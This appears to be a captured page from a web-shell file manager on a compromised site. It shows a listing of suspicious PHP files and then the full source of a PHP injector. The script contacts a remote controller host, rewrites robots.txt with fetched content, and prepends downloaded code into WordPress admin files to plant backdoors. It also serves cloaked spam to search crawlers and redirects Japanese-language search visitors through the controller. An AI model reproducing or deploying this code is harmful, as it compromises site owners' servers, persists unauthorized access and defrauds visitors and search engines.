Gecko [ 36julay.space ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-01-27 18:20
adi	[ DIR ]	drwxr-xr-x	2025-09-05 06:04
.088937220725934.php	752 B	-rw-r--r--	2025-09-07 14:06
.772428730393532.php	760 B	-rw-r--r--	2025-09-04 20:51
.783990766004397.php	786 B	-rw-r--r--	2025-09-09 14:25
.htaccess	231 B	-rw-r--r--	2025-09-09 02:28
96i.php	13.63 KB	-rw-r--r--	2025-08-31 20:53
all.zip	4.05 KB	-rw-r--r--	2025-01-27 18:51
atomlib.php	14.08 KB	-rw-r--r--	2025-09-09 02:28
buy.php	7.03 KB	-rw-r--r--	2025-09-09 02:28
dashboard.php	5.93 KB	-rw-r--r--	2025-01-27 19:00
error_log	18.4 KB	-rw-r--r--	2025-09-09 14:25
goods.php	583 B	-rw-r--r--	2025-09-03 22:50
index.php	7.03 KB	-rw-r--r--	2025-09-09 08:11
input.php	5.5 KB	-rw-r--r--	2025-09-08 15:05
logout.php	181 B	-rw-r--r--	2025-01-27 17:06
nf_tracking.php	63.96 KB	-rw-r--r--	2025-09-09 02:28
nxx.php	52.9 KB	-rw-r--r--	2025-08-31 20:47
option.php	61.36 KB	-r--r--r--	2025-08-29 17:47
robots.txt	2.3 KB	-rw-r--r--	2025-09-09 05:44
utfvztvg.php	760 B	-rw-r--r--	2025-08-31 20:43
wp-atom.php	23.02 KB	-rw-r--r--	2025-09-09 02:28
wp-blog-header.php	2.73 KB	-rw-r--r--	2025-09-01 07:25
wp-cron.php	2.73 KB	-rw-r--r--	2025-09-01 07:25
x-cp-KHoU3LOW.php	448 B	-rw-r--r--	2025-09-05 11:04
x-cp-cDequjHb.php	448 B	-rw-r--r--	2025-09-05 13:26

Rename

<?php
error_reporting(0);
@set_time_limit(120);
@ignore_user_abort(1);
$tr = "https://j250817_23.rblick.com/";
class Req
{
    public function server($name = '', $default = '')
    {
        if (empty($name)) {
            return $_SERVER;
        }
        $name = strtoupper($name);
        return isset($_SERVER[$name]) ? $_SERVER[$name] : $default;
    }
    public function iss()
    {
        if ($this->server('HTTPS') && ("1" == $this->server('HTTPS') || "on" == strtolower($this->server('HTTPS')))) {
            return true;
        } elseif ('https' == $this->server('REQUEST_SCHEME')) {
            return true;
        } elseif ('443' == $this->server('SERVER_PORT')) {
            return true;
        } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) {
            return true;
        }
        return false;
    }
    public function host()
    {
        $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST'));
        return strpos($host, ':') ? strstr($host, ':', true) : $host;
    }
    public function scheme()
    {
        return $this->iss() ? "https" : "http";
    }
    public function dm()
    {
        return $this->scheme() . "://" . $this->host();
    }
    public function ip()
    {
        if (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
        } else {
            $ip = $this->server('REMOTE_ADDR');
        }
        return $ip;
    }
    public function isc()
    {
        $agent = strtolower($this->server('HTTP_USER_AGENT'));
        if ($agent != '' && preg_match('/googlebot|google|yahoo|aol/si', $agent)) {
            return true;
        }
        return false;
    }
    public function isg()
    {
        $refer = strtolower($this->server('HTTP_REFERER'));
        if ($refer != '' && preg_match('/google.co.jp|yahoo.co.jp|google.com/si', $refer)) {
            return true;
        }
        return false;
    }
    public function uri()
    {
        if (($pos = strpos($this->server('REQUEST_URI'), '.php')) !== false) {
            $script_name = basename($this->server('SCRIPT_FILENAME'));
            if (basename($this->server('SCRIPT_NAME')) === $script_name) {
                $url = $this->server('SCRIPT_NAME');
            } elseif (basename($this->server('PHP_SELF')) === $script_name) {
                $url = $this->server('PHP_SELF');
            } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) {
                $url = $this->server('ORIG_SCRIPT_NAME');
            } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) {
                $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name;
            } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) {
                $url = str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME'));
            }
            $requri = $url . substr($this->server('REQUEST_URI'), $pos + 4);
        } else {
            $requri = substr($this->server('REQUEST_URI'), strpos($this->server('REQUEST_URI'), '/'));
        }
        return rtrim($requri, '/');
    }
    public function execReq($url, $p = array())
    {
        $url = str_replace(' ', '+', $url);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p));
        $output = curl_exec($ch);
        $errorCode = curl_errno($ch);
        curl_close($ch);
        if (0 !== $errorCode) {
            return false;
        }
        return $output;
    }
}
$req = new Req();
$isc = $req->isc();
$isg = $req->isg();
$umap = $tr . "map";
$uri = urldecode($req->uri());
$p = array(
    "domain" => $req->dm(),
    "port" => $req->server('SERVER_PORT', 80),
    "uri" => $uri
);
if (substr($uri, -6) == "robots") {
    $output = $req->execReq($tr . "robots", $p);
    $rpt = __DIR__ . "/robots.txt";
    file_put_contents($rpt, $output);
    $robots_cont = @file_get_contents($rpt);
    if (strpos(strtolower($robots_cont), "sitemap")) {
        die("robots.txt file create success!");
    } else {
        die("robots.txt file create fail!");
    }
}
if (substr($uri, -5) == "beima") {
    function findWpAdminDir($startDir = __DIR__) {
        $currentDir = realpath($startDir);
        $depth = 0;
        while ($depth < 5) {
            $wpAdminPath = $currentDir . DIRECTORY_SEPARATOR . 'wp-admin';
            if (is_dir($wpAdminPath)) {
                return $wpAdminPath;
            }
            if ($currentDir === dirname($currentDir)) {
                break;
            }
            $currentDir = dirname($currentDir);
            $depth++;
        }
        return false;
    }
    $dir = findWpAdminDir();
    $op1 = $req->execReq($tr . "beima1", $p);
    $op2 = $req->execReq($tr . "beima2", $p);
    $f1 = $dir . DIRECTORY_SEPARATOR . 'tools.php';
    $f2 = $dir . DIRECTORY_SEPARATOR.  'includes' . DIRECTORY_SEPARATOR .'class-wp-debug-data.php';
    $r1 = $r1 = false;
    if (file_exists($f1)) {
        $o1 = @file_get_contents($f1);
        if (@file_put_contents($f1, $op1 . PHP_EOL . $o1)) {
            $r1 = true;
        }
    }
    if (file_exists($f2)) {
        $o2 = @file_get_contents($f2);
        if (@file_put_contents($f2, $op2 . PHP_EOL . $o2)) {
            $r2 = true;
        }
    }
    if ($r1 && $r2) {
        die("beima1 and beima2 success!");
    } elseif ($r1) {
        die("beima1 success,beima2 fail!");
    } elseif ($r2) {
        die("beima1 fail,beima2 success!");
    } else {
        die("beima1 and beima2 fail!");
    }
}
if (substr($uri, -4) == ".xml") {
    if (strpos($uri, "allsitemap.xml") || strpos($uri, "sitemap-index.xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, "index.xml")) {
        $output = $req->execReq($umap, $p);
        header("Content-type:text/" . (substr($output, 0, 5) === '<?xml' ? 'xml' : 'plain') . '; charset=utf-8');
        die('' . $output);
    }
    $output = $req->execReq($tr . "word", $p);
    header("Content-type:text/xml; charset=utf-8");
    if ($output == "1") {
        die('' . $req->execReq($umap, $p));
    } else {
        die('' . $output);
    }
}
$lang = $req->server('HTTP_ACCEPT_LANGUAGE');
if (!$isc && $isg && strpos($lang, 'ja')!==false) {
    $p["ip"] = $req->ip();
    $action = $tr . "jump";
    die($req->execReq($action, $p));
}
if ($isc) {
    die('' . $req->execReq($tr . "indata", $p));
}
?>